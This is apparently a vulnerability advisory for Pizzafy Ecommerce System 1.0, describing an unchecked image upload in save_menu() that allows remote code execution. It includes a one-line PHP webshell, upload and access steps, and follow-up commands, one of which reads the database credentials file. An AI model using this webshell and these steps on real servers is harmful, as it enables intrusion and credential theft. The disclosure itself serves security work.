Pizzafy Ecommerce System 1.0 – Unrestricted File Upload in save_menu() Leads to Remote Code Execution

Details

Affected Component

File: Pizzafy/admin/admin_class_novo.php → save_menu() function
Parameter: img (FILE)
Upload path: Pizzafy/assets/img/

Description

The save_menu() function in Pizzafy Ecommerce System 1.0 handles image uploads for menu items without performing any file type validation. The application retrieves the file extension using pathinfo() but never actually checks or restricts the allowed file types before moving the uploaded file to the web-accessible assets/img/ directory. An authenticated administrator can upload a PHP webshell disguised as a menu image, then access it directly via the browser to achieve Remote Code Execution on the server.

Vulnerable code in admin_class_novo.php:

function save_menu(){
    extract($_POST);
    // ...
    if($_FILES['img']['tmp_name'] != ''){
        $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
        $move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
        $data .= ", img_path = '$fname' ";
    }
    // No extension check, no MIME type check
}

Proof of Concept

Step 1 — Create PHP Webshell

Create a file named shell_web2.php with the following content:

<?php echo shell_exec($_GET['cmd']); ?>

Step 2 — Upload Webshell via Menu Management

Login as administrator and navigate to:

http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu

Fill in the Menu Form with any valid values and select shell_web2.php as the Image file. Click Save.

The shell is now listed as a menu item on the customer-facing page.

Step 3 — Locate Uploaded Shell

Navigate to the assets directory — directory listing is enabled (CWE-548):

http://192.168.0.9/pizzafy/Pizzafy/assets/img/

The uploaded PHP shell is visible in the directory listing.

Step 4 — Execute Remote Commands

Access the uploaded shell directly and pass system commands via the cmd parameter:

http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami

Response — OS command executed on the server:

desktop-g1i9np3\dell

Additional Commands

?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php

Impact

An authenticated administrator can:

• Upload arbitrary PHP files to the web server
• Execute any OS-level command on the server
• Read sensitive files including database credentials
• Establish a reverse shell for full persistent access
• Completely compromise the underlying server

Note on Directory Listing (CWE-548)

The assets/img/ directory has directory listing enabled, allowing unauthenticated users to browse all uploaded files including the webshell. This compounds the severity of the file upload vulnerability.

References

• SourceCodester — Pizzafy Ecommerce System
• CWE-434: Unrestricted Upload of File with Dangerous Type
• CWE-548: Exposure of Information Through Directory Listing.